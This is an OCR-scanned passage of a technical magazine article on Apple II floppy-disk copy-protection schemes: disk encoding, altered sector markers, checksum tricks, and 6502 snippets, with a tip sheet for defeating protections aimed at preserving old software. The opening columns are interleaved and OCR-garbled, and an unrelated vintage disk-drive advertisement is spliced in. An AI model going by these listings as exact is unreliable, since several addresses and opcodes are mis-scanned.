Confusing this disassembler is not hard!
Self-modifying code

BB03- 4E06 BB LSR $BB06 ~—modifies the next instruction

BB06- 71 6E ADC ($6E),Y
BB08- 0A ASL
BB09- BB m”

Disk Control

Disk control is through “soft-switches,” not function calls:

By the time $BB06 is executed...

$C080-7,X  move drive arm (phase O off/on, phase 1 off/on... until 3) BBO3- 4E06BB LSR $BBO6
$C088,X turn off drive motor BB06- 38 SEC < the code has changed!
$C089,X  turn on drive motor BBO07- 6E0ABB ROR $BBOA
$C08C,X  read raw nibble from disk
08D,X reset data latch (used in desync nibble checks) . . . .
(X = boot slot x $10) Branches into the middle of an instruction
AEB5- A0 02 LDY #$02
- AEB7- 8CECB7 STY $SB7EC
Disk Boot AEBA- 88 DEY
AEBB- 8CF4B7 STY $B7F4
A disk is booted in stages, starting from ROM: AEBE- 88 DEY
$C600 ROM finds track 0 and reads sector 0 into $800 — AEBF- FO 01 BEQ $AEC2 <Y =0 here, so this branches.
$0801 RAM re-uses part of $C600 code to read more sectors i~ AEC1- 6C8CFO JMP ($F08C)
(usually into $B600+) AEC4- BT 77

$B700 RAM uses RWTS at $B800+ to read rest of disk AEC5- 8CEBB7 STY SB7EB
tip: $C600 is read-only. But the code there is surprisingly flexible;
It will run at $9600, $8600, even $1600. If you copy it to RAM,
you can insert your own code before jumping to $0801.

AEBF- F0 01 BEQ $AEC2

AEC1- 6C

AEC2- 8CFOB7 STY $B7F0 =< ..tohere (JMP is never executed)
AECS5- 8CEBB7 STY $B7EB

Prologue And Epilogue

Manual stack manipulation

Many protected disks start with DOS 3.3 and change prologue/ 0800- A9 51 LDA #SOF = push address to stack (SOFFF)
epilogue values. Here's where to look: 0802- 48 PHA
Ox read write Ox read write 0803- A9 8E LDA #SFF
_— —_—e 0805- 48
D5 $B955 $BC7A D5 $BSE7 $B853 0806- 205D 6A JSR $080C = call subroutine (also pushes to stack)
prologue AA $B95F $BC7F prologue AA $B8F1 $B858 0809- 4C0008 JMP $0800
! 96 $BY6A $BC84 / AD $B8FC $B85D 080C- 68 PLA ~—remove address pushed by JSR
ADDRESS DATA 080D- 68 PLA
\ DE $B991 $BCAE \ DE $B935 $B89E 080E- 60 RTS ~—"return” to $OFFF+1 = $1000
epilogue AA $B99B $BCB3 epilogue AA SB93F $BBA3
EB - $BCB8 EB -~ B8A8 JMP at $0809 is never executed! Execution continues at $1000.

Know Your Tools

Every pirate needs:

- a NIBBLE EDITOR for inspecting raw nibbles and determining disk
structure (Copy Il Plus, Nibbles Away, Locksmith)

-a SECTOR EDITOR for searching, disassembling, patching
sector-based disks (Disk Fixer, Block Warden, Copy Il Plus)

-a DEMUFFIN TOOL for converting disks to a standard format
(Advanced Demuffin, Super Demuffin)

-a FAST DISK COPIER for backing up your work-in-progress!
(Locksmith Fast Disk Backup, FASTDSK, Disk Muncher)

Undocumented opcodes
0801- 74 2772? <huh?
0802- 4CB01C JMP $1CBO

$74 is an undocumented 6502 opcode that does nothing, but takes a
one-byte operand. Here is what actually executes:

0801- 74 4C
0803- BO1C

DOP $4C,X
BCS $0821

~actually a branch-on-carry (not a JMP)

JMP at $0802 is never executed!

to deprotect
and preserve
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10:7 A Brief Description of Some
Popular Copy-Protection
Techniques on the Apple ||
Platform

by Peter Ferrie (gkumba, san inc)

Ancient history

I've been...let’s call it “preserving” software since about 1983,
albeit under a different name. However, the most interesting
efforts have been recent, requiring skills that I definitely didn’t
have until now: I am the author of the only two-side 16-sector
conversion of Prince of Persia,?” the six-side 16-sector conversion
of The Toy Shop,®° the single file conversion of Joust, Moon
Patrol, and Mr. Do!, as well as the DOS and ProDOS file-based
conversions of Aquatron, Conan,?! The Goonies, Jungle Hunt,
Karateka, Lady Tut (including the long-lost ending from side B),
Mr. Do!, Plasmania, and Swashbuckler, to name a few. I am also
the only one to crack Rastan cleanly on the IIGS, just twenty-five
years late.?2 Yes, I do 16-bit, too.

I’ve spent thirteen years writing articles for the Virus Bulletin
journal. My faithful readers will recognise the style.

29http://pferrie.host22.com/misc/lowlevelld.htm, PoC||GTFO 4:4.
3Onttp://pferrie.host22.com/misc/lowlevells.htm
3lhttp://pferrie.host22.com/misc/lowlevell6.htm
32http://www.hackzapple.com/phpBB2/viewtopic.php?t=952
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Isn't it ironic

4am declined to write this document himself, but his work and
approval inspired me to do it instead. Since his collection is so
varied, and his write-ups so detailed, they served as a rich source
of information, which I coupled with my own analyses, to fill in
the gaps for titles that I don’t have.?® Everyone knows already
that he’s funny, but he’s also quite friendly and very generous.
Together, we corrected a few mistakes in the write-ups, so I gave
something back. I even consider us friends now, so I think that I
got the better deal.

While I don’t regret writing this paper, I do have to say that,
considering the time and effort that it required, he probably made
a wise decision. ;-)

I have tried to associate at least one example of a real program
for each technique, but in §10:7.12 you’ll find some nifty new
protection techniques that I've developed just for this paper.

Why why why?

Why the Apple |[? It’s because I grew up with the Apple |[, I
learned to code on the Apple |[, I know the Apple ||.

Why now? Because the disks that were fresh when the Apple ||
was modern are failing, and if we do not work to preserve them
now, some of the titles will be lost forever.

This paper is dedicated to anyone who has an interest in help-
ing to preserve what’s left. I sincerely hope it may help to recog-
nise and defeat the copy-protection that they have come across.

33nttps://archive.org/details/apple_ii_library_4am
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10:7 Apple ][ Copy-Protection Techniques by Peter Ferrie

Okay, let's split

We can separate copy protection into two categories; they are
either What You Have or What You Know. What You Have
protections are generally protected disks, while What You Know
protections are generally off-disk, such as requests to type in a
word from the manual.

What You Know protections come in several forms. One is an
explicit challenge with immediate effect; you must answer now to
continue. Another is an explicit challenge with delayed effect; if
you answer incorrectly now, the game becomes unplayable later.
Yet another is an implicit challenge; in order to proceed, you
should perform an action as described in the manual, but the
game will appear to be playable without it.

Infocom were infamous for their use of all three:

Starcross issued a direct challenge with immediate effect, and
you could not even leave the second room without typing the
correct co-ordinates from the star chart.3*

Spellbreaker®® issued a direct challenge with delayed effect,
along the lines of “name the wizard who...” Any name from
their word list is accepted, but an incorrect answer results in the
player receiving the wrong key. This key cannot unlock a critical
door much later in the game, causing the character to be killed
instead.

Border Zone made use of an implicit challenge. It required
reading the manual in order to know the correct words to excuse
yourself — Oopzi Dazi!36—after bumping into someone, in order
to establish contact with the friendly spy. Failure to make contact
within the allotted time ended the game.

34http://infocom.elsewhere.org/gallery/starcross/starcross-map.gif
35nttp://gallery.guetech.org/spellbreaker/spellbreaker.html
36nttp://infodoc.plover.net/manuals/temp/borderzo.pdf

223


http://infocom.elsewhere.org/gallery/starcross/starcross-map.gif
http://gallery.guetech.org/spellbreaker/spellbreaker.html
http://infodoc.plover.net/manuals/temp/borderzo.pdf

10 The Theater of Literate Disassembly

RINCESPERSIY

Brgderbund’s Prince of Persia had a variety of delayed effects,
depending on which of the several copy protection checks failed.
One of them included crashing immediately before showing the
closing scene upon winning the game. That is, after completing
fourteen levels!

However, the What You Have protections are more interesting,
given the vast number of possibilities.

Accept your limitations

The first important component that we will consider in the
Apple ][ is the MOS 6502 or 65C02 CPU. These CPUs have no
separation of code and data. That is, they are a Von Neumann,
not Harvard architecture. All memory and I/0 addresses are exe-
cutable, and everything that is not in ROM is writable, including
the stack.

Since the stack is writable directly, it introduces the possibil-
ity of tricks relating to transfer of control. (§10:7.6.) Since the
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stack is executable, it introduces the possibility of hosting code.
(§10:7.10.)

The CPU has no prefetch queue, only a single prefetched byte
of the next instruction,?” as the last stage in the execution of
the current instruction. This introduces the possibility of self-
modifying code, including the next instruction to execute, be-
cause any memory write will have completed before the prefetch
occurs. (§10:7.7.)

Lay it out for me

The second important component that we will consider in the
Apple |[ is the Disk |[ controller. The Disk |[ controller is a pe-
ripheral which is placed in a slot. It exposes an interface through
memory-mapped I/O, so the various soft-switches can be read
and written, just like regular RAM. The interface looks like ac-
cesses to $COsX, where s is #$80 plus the slot times 16, and X is
the switch to access.

The Disk |[ controller runs independently of the CPU. Once the
drive is turned on and spinning the disk, the drive will continue
to spin the disk until the drive is turned off again. The drive
rotates the disk at a fixed speed—approximately 300 RPM, and
five rotations per second, which works out to be 200ms per ro-
tation. However, the speed varies somewhat from drive to drive.
For 5.25" disks, the data density is equal across all tracks. At
300 RPM, each track holds 50,000 bits, which is equal to 6,250
8-bit nibbles.

The data on a disk is simply a stream of bits to be read. For
a 5.25" disk, those bits are usually gathered into 16 sectors of
256 bytes each, spread across 35 tracks—256 x 16 x 35 = 143, 360

37This is why the minimum instruction execution time is two cycles: one for
the instruction itself, one for the prefetch.
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bytes, or 140kb. When reading from a disk, the Disk || controller
shifts in bits at a rate equivalent to one bit every four CPU
cycles, once the first one-bit is seen. Thus, a full nibble takes the
equivalent of 32 CPU cycles to shift in. After the full nibble is
shifted in, the controller holds it in the QA switch of the Data
Register for the equivalent of another four CPU cycles, to allow
it to be fetched reliably. After those four CPU cycles elapse, and
once a one-bit is seen, the QA switch of the Data Register will be
zeroed, and then the controller will begin to shift in more bits.
As a result, programmers must count CPU cycles carefully to
avoid missing nibbles fetched by the controller.

The Disk || controller cannot tell you on which track the re-
sides. It also cannot tell you on which sector the head resides.?®
As a result, sectors are usually prepended with a structure known
as the “address field,” which holds the sector’s track and sector
number. The controller does not need or use this information.

38The Shugart SA400 on which the Disk ][ controller is based does have this
capability via index detector circuits, but that feature was removed from
the Disk ]| controller to reduce the cost to manufacture it.
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Only the boot PROM makes use of it when requested to read a
sector. Beyond that, the information exists solely for the purpose
of the program which interprets it.

Following the address field that defines a sector’s location on
the disk, there is another structure known as the “data field,”
which holds the sector body. One reason for the separate address
and data fields is to allow the sector body to be skipped, as
opposed to stored and then decoded, in the event that the sector
address is not the desired one. Another reason is that it allows a
sector to be updated in-place, by overwriting the data field only,
instead of rewriting the entire track to update all of the sectors.

(If the sector were a single structure, the CPU time required to
verify that the desired sector has been found is so long that the
write would begin after the start of the sector body and extend
beyond the original end of the sector, overwriting part of the
following sector.)

Between the sectors are dead space, which can be filled with a
sequence of self-synchronizing values, timing bits, and protection-
specific bytes.

The two structures that define a sector are each bounded by
a prologue and an epilogue. The prologues for the address and
data fields are composed of three values. Two of those values are
never used in the sector body, to distinguish the structures from
the sector body, and the third value is different between the two
structures, to distinguish them from each other. The epilogues
for the address and data fields are composed of two values. One
of those values is common to both epilogues but never used in
the sector body, to distinguish it from the sector data.

The Disk |[ controller cannot even tell you where it is within
the bitstream. The problem is that the stream does not have
an explicit start and end. Instead, a specific sequence must be
laid on the track, to form an implicit start. That way, the hard-
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COMPLETE
FLOPPY DISK SYSTEM
FOR YOUR ALTAIR/IMSAI
$699

That's right, complete.

The North Star MICRO-DISK SYSTEMT™ uses the Shugart
minifloppy ™ disk drive. The controller is an S-100 com-
patible PC board with on-board PROM for bootstrap load. It
can control up to three drives, either with or without
interrupts. No DMA is required.

No system is complete without software: we provide the
PROM bootstrap, a file-oriented disk operating system (2k
bytes), and our powerful extended BASIC with sequential
and random disk file accessing (10k bytes).

Each 5" .diameter diskette has 90k data byte capacity.
BASIC loads in less than 2 seconds. The drive itself can be
mounted inside your computer, and use your existing power
supply (.9 amp at 5V and 1.6 amp at 12V max). Or, if you
prefer, we offer a power supply ($39) and enclosure ($39).

Sound unbelievable? See the North Star MICRO-DISK
SYSTEM at your local computer store. For a high-performance
BASIC computing system, all you need is an 8080 or Z80
computer, 16k of memory, a terminal, and the North Star
MICRO-DISK SYSTEM. For additional performance, obtain
up to a factor of ten increase in BASIC execution speed by
also ordering the North Star hardware Floating Point Board
(FPB-A). Use of the FPB-A also saves about 1k of memory by
eliminating software arithmetic routines.

Included: North Star controller kit (highest quality PC
board and components, sockets for all IC’s, and power regula-
tion for one drive), SA-400 drive (assembled and tested),
cabling and connectors, 2 diskettes (one containing file DOS
and BASIC), complete hardware and software documentation,
and U.S. shipping.

MICRO-DISK SYSTEM . .. $699 To place order, send

(ASSEMBLED) .. .. $799 check, money order or
ADDITIONAL DRIVES. . . $425 ea, BAor MC card #with exp

date and signature. Uncer-

DISKETTES. ...... ... $4.50 €. fified chooks roquire 6
FPB-A .......... weeks processing. Calif
(ASSEMBLED) ... residents add sales tax

NORTH STAR COMPUTERS, INC.
2465 Fourth Street

Berkeley, CA 94710
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ware can find the start of the stream reliably. These values are
the “self-synchronizing values.” For DOS 3.3, and systems with a
compatible sector format, the self-synchronising values are com-
posed of a minimum of five ten-bit “FF’s. A ten-bit “FF” is eight
bits of one followed by two bits of zero. Self-synchronising values
are usually placed before both structures that define a sector, to
allow synchronisation to occur at any point on the disk. However,
this is not a requirement if read-performance is not a considera-
tion.?® That is, the fewer the number of self-synchronizing values
that are present, the more data that can be placed on a track.
However, the fewer the number of self-synchronizing values that
are present, the more the controller must read before it can enter
a synchronized state, and then start to return meaningful data.

Finally, the Disk ][ controller can write—but not reliably read—
arbitrary eight-bit values. Instead, for reading each eight-bit
value, only seven of the bits can be used—the top bit must always
be set, in order for the hardware to know when all eight bits have
been read, without the overhead of having to count them. (See
§10:7.2 for a deeper discussion about an effect made possible by
the lack of a counter.) In addition to requiring the top bit to be
set, there should not be more than two consecutive zero-bits in
a row for the modern drive. (The original disk system did not
allow even that. See §10:7.2 for a deeper discussion about the
effect of excessive zeroess)

39This is a requirement if the data field can be written independently of
its address field. Since the write is not guaranteed to begin on a byte
boundary, the self-synchronizing values are required for the controller to
synchronize itself when reading the data again.
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[

Copy me, I want to travel]Copy me, I want to travel

Now that we understand the format of data on the disk, we
consider the ways in which that data can be copied.

First is the sector-copier. It relies on sectors being well-defined,
and requires knowing only the values for the prologues and epi-
logues. The sectors are copied one at a time in sequential order,
for each of the tracks on the disk, discarding the data between
the sectors, and writing new self-synchronizing values instead.
Some sector-copiers rely on DOS to perform the writing. In or-
der for that to work, the disk must be formatted first, because
that kind of sector-copier will not write new address fields to the
disk. Instead, it will reuse the existing ones, since only the data
field needs to be updated to place a sector on a track. In any
case, the sector-copier cannot deal easily with deviations from the
standard format, and requires a lot of interaction to copy sectors
for which the prologue and/or epilogue values are not constant.
Some sector-copiers can be directed to ignore the sectors that
they cannot read, but obviously this can lead to important data
being missed.

Second is the track-copier. It also relies on sectors being well-
defined, with known the values for the prologues and epilogues.
However, it reads the sectors in the order in which they arrive,
and then writes the entire track in one pass,*° by itself. It shares
the same limitations as the sector-copier regarding reading sec-
tors and discarding the data between them, but it keeps the sec-
tors in the same order as they were originally, which can be im-
portant. (§10:7.2.)

40 As opposed to reading the sectors in sequential order, and then writing
the entire track—that would only make it a sector-copier with a faster
write routine.
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Third is the bit-copier. Unlike the sector and track copiers,
it makes as few assumptions as possible about the data on the
disk. Instead, it treats tracks as the bitstream that they are, and
attempts to measure the length of the track while reading.*! It
tries to write the track exactly as it appears on the disk, including
the data between the sectors, in one pass. Some bit-copiers can
be directed to copy the additional zero-bits in the stream, but
there is a limit to how reliably these bits can be detected, and
the method to detect them can be exploited. Some bit-copiers
can be directed to attempt to reproduce the layout of the disk
across track boundaries. See sections 10:7.2 and 10:7.3.

The most important point about copiers in general is that there
is simply no way to read data off of a disk with 100% accuracy,
unless you can capture the complete bitstream on the disk it-
self, which can be done only with specialised hardware. There
is no way for software alone to read all of the bits explicitly and
understand how the controller will behave while parsing theme

Super-super decoder ring

Despite the quite strict requirements regarding the format of data
on the disk, DOS introduced two additional requirements regard-
ing the format of data within a sector. The first requirement is
that there must not be more than one pair of zero-bits in the
value. The second requirement is that there be at least one pair
of consecutive one-bits, excluding the sign bit.

41 A sector-copier can use the collection of sectors as a basic track length;
the bit-copier has no such luxury. Instead, it is left to “guess,” and might
be forced to discard or insert additional data to reconstruct a track of
the same length. The difference occurs when the rotation speed of the
drive that is being used to make the copy is not the same as that of the
drive that was used to make the original.
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If we ignore the DOS requirements for the moment, and con-
sider instead all possible values which comply with the hardware
requirement to have no more than two consecutive zero-bits, then
there are 81 legal values.

11

13

15

17

19

21

11

13

15

17

10010010 (92) 10101101 (AD) 11001110 (CE) 11101011 (EB)
10010011 (93) 10101110 (AE) 11001111 (CF) 11101100 (EC)
10010100 (94) 10101111 (AF) 11010010 (D2) 11101101 (ED)
10010101 (95) 10110010 (B2) 11010011 (D3) 11101110 (EE)
10010110 (96) 10110011 (B3) 11010100 (D4) 11101111 (EF)
10010111 (97) 10110100 (B4) 11010101 (D5) 11110010 (F2)
10011001 (99) 10110101 (B5) 11010110 (D6) 11110011 (F3)
10011010 (9A) 10110110 (B6) 11010111 (D7) 11110100 (F4)
10011011 (9B) 10110111 (B7) 11011001 (D9) 11110101 (F5)
10011100 (9C) 10111001 (B9) 11011010 (DA) 11110110 (F6)
10011101 (9D) 10111010 (BA) 11011011 (DB) 11110111 (F7)
10011110 (9E) 10111011 (BB) 11011100 (DC) 11111001 (F9)
10011111 (9F) 10111100 (BC) 11011101 (DD) 11111010 (FA)
10100100 (A4) 10111101 (BD) 11011110 (DE) 11111011 (FB)
10100101 (A5) 10111110 (BE) 11011111 (DF) 11111100 (FC)
10100110 (A6) 10111111 (BF) 11100100 (E4) 11111101 (FD)
10100111 (A7) 11001001 (C9) 11100101 (E5) 11111110 (FE)
10101001 (A9) 11001010 (CA) 11100110 (E6) 11111111 (FF)
10101010 (AA) 11001011 (CB) 11100111 (ET7)

10101011 (AB) 11001100 (CC) 11101001 (E9)

10101100 (AC) 11001101 (CD) 11101010 (EA)

If we introduce the first of the DOS requirements that there
not be more than one pair of zero-bits, then there are only 72

compliant values.

10010101 (95) 10110010 (B2) 11010010 (D2) 11101011 (EB)
10010110 (96) 10110011 (B3) 11010011 (D3) 11101100 (EC)
10010111 (97) 10110100 (B4) 11010100 (D4) 11101101 (ED)
10011010 (9A) 10110101 (B5) 11010101 (D5) 11101110 (EE)
10011011 (9B) 10110110 (B6) 11010110 (D6) 11101111 (EF)
10011101 (QD) 10110111 (B7) 11010111 (D7) 11110010 (F2)
10011110 (9E) 10111001 (B9) 11011001 (D9) 11110011 (F3)
10011111 (9F) 10111010 (BA) 11011010 (DA) 11110100 (F4)
10100101 (A5) 10111011 (BB) 11011011 (DB) 11110101 (F5)
10100110 (A6) 10111100 (BC) 11011100 (DC) 11110110 (F6)
10100111 (A7) 10111101 (BD) 11011101 (DD) 11110111 (F7)
10101001 (A9) 10111110 (BE) 11011110 (DE) 11111001 (F9)
10101010 (AA) 10111111 (BF) 11011111 (DF) 11111010 (FA)
10101011 (AB) 11001010 (CA) 11100101 (E5) 11111011 (FB)
10101100 (AC) 11001011 (CB) 11100110 (E6) 11111100 (FC)
10101101 (AD) 11001101 (CD) 11100111 (E7) 11111101 (FD)
10101110 (AE) 11001110 (CE) 11101001 (E9) 11111110 (FE)
10101111 (AF) 11001111 (CF) 11101010 (EA) 11111111 (FF)
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If we introduce the second of the DOS requirements that there
be at least one pair of consecutive one-bits, excluding the sign
bit, then there are only 64 compliant values.

10

12

14

16

10010110 (96) 10110100 (B4) 11010110 (D6) 11101101 (ED)
10010111 (97) 10110101 (B5) 11010111 (D7) 11101110 (EE)
10011010 (9A) 10110110 (B6) 11011001 (D9) 11101111 (EF)
10011011 (9B) 10110111 (B7) 11011010 (DA) 11110010 (F2)
10011101 (9D) 10111001 (B9) 11011011 (DB) 11110011 (F3)
10011110 (9E) 10111010 (BA) 11011100 (DC) 11110100 (F4)
10011111 (9F) 10111011 (BB) 11011101 (DD) 11110101 (F5)
10100110 (A6) 10111100 (BC) 11011110 (DE) 11110110 (F6)
10100111 (A7) 10111101 (BD) 11011111 (DF) 11110111 (F7)
10101011 (AB) 10111110 (BE) 11100101 (E5) 11111001 (F9)
10101100 (AC) 10111111 (BF) 11100110 (E6) 11111010 (FA)
10101101 (AD) 11001011 (CB) 11100111 (E7) 11111011 (FB)
10101110 (AE) 11001101 (CD) 11101001 (E9) 11111100 (FC)
10101111 (AF) 11001110 (CE) 11101010 (EA) 11111101 (FD)
10110010 (B2) 11001111 (CF) 11101011 (EB) 11111110 (FE)
10110011 (B3) 11010011 (D3) 11101100 (EC) 11111111 (FF)

That leaves us with eight values
than one pair of zero-bits, but also not one pair of consecutive
one-bits, excluding the sign bit. DOS reserves some of these value
for a separate purpose.

for which there is not more

10010101
11010010
11010100
11010101
10100101
10101001
10101010
11001010

(95)
(D2)
(D4)
(D5)
(A5)
(A9)
(AA)
(cA)

That leaves us with seventeen values for which there are not

more than two consecutive zero-bits, which seems like a missed
opportunity for a better encoding;:

10010010 (92) 10101001 (A9) 11100100 (E4)
10010011 (93) 10101010 (AA)
10010100 (94) 11001001 (C9)
10010101 (95) 11001010 (CA)
10011001 (99) 11001100 (CC)
10011100 (9C) 11010010 (D2)
10100100 (A4) 11010100 (D4)
10100101 (A5) 11010101 (D5)
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Having exactly 64 entries in the table allows us to represent
all of the values using six bits. That leads us to an encoding
method known as “6-and-2 Group Code Recording (GCR)” or
more commonly “6-and-2” encoding.

In 6-and-2 encoding, an eight-bit value is split into two parts,
where the high six bits are separated from the low two bits. (The
disk system for which DOS 3.2 was first written had an additional
restriction that did not allow consecutive zero-bits, and so used
5-and-3 encoding for the same purpose.) To encode an entire
sector, each of the two-bit values are gathered together, such
that three of them form another six-bit value in reverse order,
and are stored first, followed by each of the regular six-bit values.
Prior to storing any of the values, they must be transformed into
the values in our table of 64 nibbles. This is done by using the
original value as an index into the nibble table, and writing the
value from the table instead.

When we place the original value beside the nibble value, the
table looks like this:

00 = 96 10 = B4 20 = D6 30 = ED
01 97 11 B5 21 D7 31 EE
02 = 9A 12 = B6 22 = D9 32 = EF
03 = 9B 13 = B7 23 = DA 33 = F2
04 = 9D 14 = B9 24 = DB 34 = F3
05 = 9E 15 = BA 25 = DC 35 = F4
06 = 9F 16 = BB 26 = DD 36 = F5
07 = A6 17 = BC 27 = DE 37 = F6
08 A7 18 BD 28 DF 38 F7
09 = AB 19 = BE 29 = E5 39 = F9
0A = AC 1A = BF 2A = E6 3A = FA
0B = AD 1B = CB 2B = E7 3B = FB
0C = AE 1C = CD 2C = E9 3C = FC
0D = AF 1D = CE 2D = EA 3D = FD
OE B2 1E CF 2E EB 3E FE
OF = B3 1F = D3 2F = EC 3F = FF

DOS reserved two values from our fourth table, #$AA and #$D5,
for the prologue signatures. These values are good candidates for
the purpose of identifying the headers, because they do not con-
form to the “at least one pair of consecutive one-bits” criterion,
and thus do not conflict with the entries in the “nibbilisation”
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table. It is not a coincidence that they have alternating bit val-
ues; #$D5 is #$55 without the sign bit. By reserving these val-
ues, it ensures that the bitstream generated by arbitrary sector
data cannot contain a long string of ones (prevented by reserv-
ing #$FF), or alternating zeroes and ones (prevented by reserving
#$AA and #$D5), regardless of the user’s data.

The third value of the prologue signature (#$96 or #$AD) need
be unique only between the headers, in order to distinguish be-
tween the two. The combination of unique values and non-unique
values still produces a unique sequence.

DOS reserved one value from our fourth table, #$AA, for the
second byte of the epilogue signatures, for the same reason as for
the prologue. The first byte of the epilogue signature need not
be unique with respect to sector data (because the combination
of unique values and non-unique values still produces a unique
sequence), but obviously it must not match the first byte of the
prologue, because the third byte of the epilogue (intended to be
#$EB) is written sometimes with only limited success (and it is
never verified for this reason), and so could potentially be read as
the third byte of a prologue instead, with unpredictable results.

The decoding process requires a reverse transformation, via a
table which is typically filled with all of the values in a six-bit
number. (See the sections on Race Conditions and SpiraDisc for
two counter-examples.) The layout of the table is the special
thing, though—the nibbles that are read from disk are used as an
index into the table, in order to recover the original six-bit value.
So the table has gaps between some of the values, because the
legal values of the nibbles are not consecutive.

Note that convention is a powerful force. There is no reason
for the table to have the nibbilisation entries in that order, or to
exclude #$AA or #$D5 (or any of the other fifteen entries from the
last table) from the set. Further, according to John Brooks, it is
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possible to use all 81 values from our first table, combined with a
special encoding method, which would increase the data density
by 105.5%, and potentially even more.*?

10:7.1 Write-protection

The absolute simplest possible protection against a copy is to
check if the disk is write-protected. The vast majority of owners
of duplicated software won’t bother to write-protect the disk. If
the disk is not write-protected, then the image is considered to
be a copy, rather than the original.

Alien Addition uses this technique.

;assumes slot 6

7975 LDA $COED ;request status
7978 LDA $COEE ;read status
797B BPL $7985 ;taken if write-enabled

A more generic version is slightly longer.

0000 LDX $2B ;fetch slot (x16)

0002 LDA $C08D, X ;request status

0005 LDA $CO8E, X ;read status

0008 BPL $0008 ;hang if write-enabled

10:7.2 Sector-level protections
Altered prologue/epilogue

This is one of the simpler techniques available, and was used by
many titles. Standard DOS 3.3 uses the sequence #$D5 #$AA
#3$96 to identify the address field prologue, #$D5 #$AA #$AD to
identify the data field prologue, and #$DE #$AA to identify both
of the epilogues. Of course, it is possible to choose from the 17

425ee John’s comment at September 3rd, 2015 12:12 pm on
http://www.bigmessowires.com/2015/08/27/apple-ii-copy-protection/
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values from our fifth table, for either the first two bytes of the
prologue values, or the second byte of the epilogue. It is also
possible to choose from among the 81 values from our first table,
for either the third byte of the prologue, or the first byte of the
epilogue.

Most commonly, only one value is changed in the prologue or
epilogue, and that same value is used for every sector on every
track of the disk.

Lucifer’s Realm uses this technique; the epilogue was changed
from #$DE #$AA to #$DF #$AA.

The Tracer Sanction extended the technique by carrying a ta-
ble of values, and using a different value for each track.

Masquerade extended the technique to the sector level, by re-
quiring that each even sector has one value, and each odd sector
has another value. The routine extracts bit zero of the sector
number, and then inverts it, to create the key which is applied to
the identification byte. Thus, even sectors use #$D5 (the standard
value), and odd sectors use #$D4. This is necessary because sec-
tor zero of track zero must have the regular value to be readable
by the boot PROM.

The Coveted Mirror used exactly the same technique—and al-
most the exact same code—at only the track level.

Due to size limitations, the boot PROM does not verify the
epilogue bytes, allowing all sectors on all tracks—including the
boot sector itself—to be protected.*®> The most common tech-
nique involved altering the epilogue values to something other
than the default value. This protection cannot be reproduced by
a sector-copier or track-copier, which requires the default values
to be seen, because they will fail to copy the sector. Operation
Apocalypse uses this technique.

Given that the boot PROM does not verify the epilogue bytes,

43t also ignores the address field checksum and volume number.
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a very light protection technique is to change the epilogue val-
ues to something other than the default values for sector zero
of track zero only, leaving all other sectors readable. This pro-
tection cannot be reproduced by a sector-copier or track-copier
which requires the default values to be seen, because they will
fail to copy the boot-sector, leaving the disk unusable. Alien
Addition makes use of this technique.

A common technique to defeat this protection is to ignore read
errors for all sectors, in the hope that it is caused by the non-
default epilogue values alone. However, given the degrading state
of floppy disks these days, ignoring read errors can hide the fact
that the disk is truly failing.

The address field contains more than just the track and sector
numbers. It also contains a volume number. This value can
be used as a quick method to determine which disk from a set
is currently inserted into the drive. However, support for it—
even in DOS—is poor. So many programs, including DOS itself,
assume that the volume number is the default value. When it is
changed, the read fails. By hard-coding the new value in DOS,
the disk will be readable only by itself. Algebra Arcade uses this
technique.

This technique can also be used in a slightly different way.
Since each sector can have its own volume number, any value
can be put there, as long as the program is aware of that fact.

Randamn sets the volume number to a checksum calculated
from the current track and sector, and hangs if the values do not
match.

Both the address field and data field contain a checksum of
the data that precede it, prior to the epilogue. The checksum
algorithm is usually a rolling exclusive-OR of each of the bytes,
with a zero seed. However, there is no requirement that either
of these things is used, for sectors other than sector zero of track
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zero. For other sectors, the seed can be set to any value, and
the algorithm can be a cumulative ADD or anything else at all.
This protection cannot be reproduced by a sector-copier or track-
copier which relies on the regular algorithm, because the disk will
appear to be corrupted.

Hellfire Warrior uses a slight variation on this technique. It
maintains a counter at address $40, which coincides with the
track number which is stored by the boot PROM. In order to
break out of the loop that reads sectors into memory, the pro-
gram requests the boot PROM to read a sector with an inten-
tionally bad checksum. This causes the boot PROM to rewrite
the value at address $40. The new value is exactly what the
program requires as the exit condition. This protection cannot
be reproduced by a sector-copier or track-copier, because they
will fail to copy this sector, resulting in a disk that has only sec-
tors with good checksums. The disk will not boot because it will
never exit the loop.

The volume number is normally an eight-bit value. For effi-
ciency of encoding it, DOS uses a 4-and-4 encoding, where the
four odd bits are separated from the low even bits, and converted
to nibbles. To recombine them, it is a simple matter to shift the
nibble holding the odd bits (“abed”) one to the left, resulting
in an encoding that looks like “alblc1dl,” and then to AND the
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Karateka

result with the nibble holding the even bits (“efgh”), whose en-
coding that looks like “1e1f1gih.” This method requires sixteen
bytes to describe the address field. Since the track, sector, and
checksum, are known to fit into six bits each, it is easy to see that
if the volume number is disregarded, a 6-and-0 encoding can be
used instead. This method requires only four nibbles to describe
the address field. Algernon uses this technique.

The entries in the address field have a defined order because
the boot PROM needs to read them to identify sector zero of
track zero, and any other sector which the PROM is asked to
read. However, it is possible to change the order of the entries for
other sectors on the disk, and then to read the sectors manually.

Fewer sectors

The major reason for using 16 sectors per track is because that
is the maximum number that can fit within the standard format
created by DOS 3.3. DOS 3.2 supported only 13 sectors per track,
because of the limitation of the hardware regarding consecutive
zeroes. Copy protection techniques are free to use fewer sectors
than either of those values.

Wavy Navy uses ten sectors per track, while Olympic De-
cathlon uses eleven and Karateka uses a dozen. The sectors in
these examples are all the regular size, but encoded in a waste-
ful manner. (Primarily the 4-and-4 encoding was used because
the decoder is very small, but sometimes 5-and-3 because the de-
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coder looks weird when compared with the more familiar 6-and-2
encoding.) The wasteful encoding is the reason for the reduced
sector count; there really isn’t more room for more sectors.

More sectors

The standard DOS 3.3 format disk uses 16 individual sectors per
track, with relatively large gaps between the sectors. Consider
how much space would be available if those sectors were combined
into a single large sector, with a single field that combines both
address (specifically, only the track number) and data fields. Yes,
it would require reading the entire track in order to find the field
again once the track had been verified, but for some applications,
performance is not that critical. This is what Infocom did, on
programs such as A Mind Forever Voyaging. Once the track had
been found, and the data field found again, then the program
read (and discarded) sectors sequentially until the required one
was found. Again, if the performance is not that critical, the
fact that the routine can fetch only one sector at a time is not
an issue. In fact, the implementation works well enough for the
text-adventure scenario in which it was used. Since the user will
be reading the text while additional text is loading, the time
required for that loading goes mostly unnoticed.

Consider how much space would be available if those gaps were
reduced to the minimum of five self-synchronizing values before
the address field prologue, with just a few bytes of gap between
the address and data headers. Then reducing the prologue byte
count from three to two, and the epilogue byte count from two
to one. Consider how much space would be available by merging
groups of sectors. If you converted the track into six sectors of
